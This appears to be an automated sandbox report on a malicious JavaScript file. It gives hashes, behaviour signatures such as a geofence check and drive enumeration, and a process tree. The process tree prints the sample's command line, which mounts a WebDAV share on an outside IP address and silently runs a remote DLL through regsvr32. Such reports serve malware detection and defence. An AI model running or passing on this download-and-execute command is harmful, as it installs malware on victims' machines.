Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-07-2024 18:14

General

  • Target

    2566629831203216826.js

  • Size

    3KB

  • MD5

    f626e2f4de456456afa2b5ec6c86c4f9

  • SHA1

    6c027d5da8c213ae72b27c057d730fdeea2be18c

  • SHA256

    2e5b0d5b82e5f329c0ab4068f239c5c0cb8d71d0d4f104b7d6f73283815b1725

  • SHA512

    5e36d8dccfc247a8e7516878dcb3354bcf548026adda414dc942befda6f23b143e4b80b3f3ec056e169d10ce00ff5a52924e08f320f7ce8e6919276e7d7f5d9e

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2566629831203216826.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\32485270832275.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1792

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads